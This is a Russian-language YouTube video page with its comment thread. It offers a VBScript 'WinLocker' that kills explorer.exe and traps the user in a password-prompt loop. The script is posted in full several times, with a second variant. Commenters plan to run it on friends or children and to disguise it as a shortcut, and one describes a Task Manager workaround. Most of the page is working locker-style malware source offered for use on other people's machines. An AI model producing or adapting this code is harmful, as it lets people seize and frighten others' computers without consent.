Как сделать WinLocker в блокноте?🤔
Вставка
- Опубліковано 8 жов 2022
- Ссылка на канал Вареника: / @varenik_youtube
Скрипт:
Do
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"УПС!Ваш windows был заблокирован! Для разблокировки необходим пароль!",64,"Winlocker"
x = inputbox("Чтобы разблокировать ваш windows,вы должны ввести пароль в данное окно.","Winlocker")
if (x = "54321") then
msgbox"Правильный пароль! Ваш windows будет разблокирован!",64,"Winlocker"
t.run"explorer"
exit do
else
msgbox"Неправильный пароль! Попробуйте ещё!",16,"Winlocker"
end if
loop
#вирус #люблюподписчиков #скрипт #vbs #хештег
есть еще такая команда
Do
msgbox"TI NE UYDES OT ELDAR",48,"WINLOCKER"
x = inputbox("PISI PAROL")
if (x = "helpme") then
msgbox"TEBE POVEZLO NU LADNO POKA",64,"WINLOCKER"
exit do
else
msgbox"NE PRAVILNIY PAROL WINDOWS BUDET ZABLOKIROVAN!!!",48,"LOL"
end if
loop
это тоже винлокер только там просто высвечивается окно и все , а не высвечивается фон
Ку брат, спасибо огромное пойду пранкану друга
Гениально
ещё можно сделать ярлык, и ваш друг не заметит ничего подозрительного!)
я знаю способ сделать вообще беспалевно
кста ты топ
Я так семилеток пугать буду
Можно просто сделать exe и пошло поехало)
если сделать форматом ехе то виндоус скажет что данный файл нельзя запустить
А знаете как это контрить без пароля, выключения компа, смены пользователя? Только с помощью "Диспетчера задач" (Который там доступен)? Очень легко! (Подумайте сами, если ответа в своей голове НЕ найдёте, то ОТВЕТ В ОТВЕТАХ под этим комментарием!)
ОТВЕТ:
1) Ctrl+Alt+Delete (набор клавиш безопасности Windows)
2) Выбираем пункт "Диспетчер Задач" и нажимаем!
3) Когда мы в "Диспетчере Задач" тыкаем на пункт сверху под названием "Файл"
4) Выбираем в списке "Запустить новую задачу"
5) Вписываем " explorer " или " explorer. exe "
5.1) Обязательно тыкаем на галку "Создать задачу с правами администратора"
6) Нажимаем "ОК"
ГОТОВО!
Теперь исправляем последствия этого "вируса":
*Если вы закрыли "Диспетчер Задач" открываем его снова! (Что-бы открыть его следуйте первым 2-ум пунктам!)
*1) Нажимаем ПКМ по процессу-приложению "Microsoft ® Windows Based Script Host"
*2) В списке выбираем "Снять задачу"
ИЛИ
*1) Выделяем в списке процессов "Microsoft ® Windows Based Script Host"
*2) Нажимаем на кнопку в правом нижнем углу
*2.1) Эта кнопка называется "Снять задачу"
Надеюсь помог! Пишите свои варианты решения! Ну или варианты вируса БЕЗ такой уязвимости!
@@kosmomax_studios чел, ты гений. Эта штука вирусом не является. Это максимально простая программа, которая подойдёт только лишь для пранка. У меня есть батники, которые способны шороху в системе навести, да такого, что переустанавливать ОС придётся. Данное видео было создано по причине того, что на просторах ютуб на момент 2022 года (возможно сейчас также) было тяжело найти нормальный гайд с актуальным кодом
@@kosmomax_studios да и в самом видео я упомянул диспетчер задач, реал гений
У меня вопрос а когда открываешь то ALT+F4 работает????
да
работает?
топ друг обосралсья🤣🤣😂
друг че делать есть я создаю текстовый документ и нет в конце .txt чтобы изменить на vbs
Значит надо через файл пересохранить и там уже добавить .vbs
А если я открываб и нече нет открывается блокнот и все
Попробуй открыть с помощью vbs, изменил расширение?
а как задача в диспечере называется?
microsoft visual base и так далее
арбуз
А если не на виртуалки все норм будет
Да
Привет! Протестил. А как сделать, чтобы были не арабские слова? Хотя в скрипте все на русском??
ua-cam.com/video/Ks2TBSdd8VA/v-deo.htmlsi=C6-TkEhnfxnew0Ts вот так
Нажми сохранить как потом ставь кодировку ANSI
Токо щас открыл и забыл пароль. Дудко обосрался
Пойду к другу скажу я программист и сделаю винлокер
Изменено: что бы были видны русс буквы делайте кодировку ANSI там при "сохранить как" делайте кодировку ANSI
🤗
Спс за лайк
а можно закрыть его через alt f4??
Скажу честно, незнаю
нет только через диспетчер задач
У меня вопрос чо в коде значит chcp 1251
Вообще-то этого нет в коде
Сменение кодировки в редакте реестра, если не писать данный код и ты напишешь в командной стороке на русском или украинском то у тебя будут кракозябры. А ещё надо в сохранении поставить кодировку ANSI
Не работает о н не запускается. можешь скинуть код без памятки
Do
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"УПС!Ваш windows был заблокирован!Для разблокировки необходим пароль!",64,"Winlocker"
x = inputbox("Чтобы разблокировать ваш windows,вы должны ввести пароль в данное окно.","Winlocker")
if (x = "54321") then
msgbox"Правильный пароль!Ваш windows будет разблокирован!",64,"Winlocker"
t.run"explorer"
exit do
else
msgbox"Неправильный пароль!Попробуйте ещё!",16,"Winlocker"
end if
loop
@@vards2020 спасибо:)
а диспетчер задач открыт
да
@@vards2020 я уж понял, я его прокачаю
@@user-cs9hq6xd2r окей,только учти-к прокаченой версии я никакого отношения не имею!
@@vards2020 пон
ээ я ввожу правильный пароль и мне пишет неправильный пароль
Какой пароль ты вводишь?
@@vards2020 который я указал в коде (02262728)
@@vards2020 который указан в коде (я поставил 02262728)
16 это попытки типо?
Смотря где это в коде, дай строчку
@@vards2020 msgbox"Неправильный пароль! Попробуйте ещё!",16,"Winlocker
Нет, это другое
Ошибка скрипта
Do
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"УПС!Ваш windows был заблокирован!Для разблокировки необходим пароль!",64,"Winlocker"
x = inputbox("Чтобы разблокировать ваш windows,вы должны ввести пароль в данное окно.","Winlocker")
if (x = "54321") then
msgbox"Правильный пароль!Ваш windows будет разблокирован!",64,"Winlocker"
t.run"explorer"
exit do
else
msgbox"Неправильный пароль!Попробуйте ещё!",16,"Winlocker"
end if
loop
Попробуй этот, пароль: 54321
у меня не работает
Судя по всему у тебя не работают мозги.
@@vards2020 А чо так грубо
@@54Igt_Erts А как ещё отвечать людям которые не могут прочитать что копируют или посмотреть ответы под другими коментами?
Помогите почуму у меня в винлокере вместо текста papiaipiapipiapipiaidoidopadjwfiafn
Не работает
Что не работает?
@@vards2020 код
Do
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"УПС!Ваш windows был заблокирован!Для разблокировки необходим пароль!",64,"Winlocker"
x = inputbox("Чтобы разблокировать ваш windows,вы должны ввести пароль в данное окно.","Winlocker")
if (x = "54321") then
msgbox"Правильный пароль!Ваш windows будет разблокирован!",64,"Winlocker"
t.run"explorer"
exit do
else
msgbox"Неправильный пароль!Попробуйте ещё!",16,"Winlocker"
end if
loop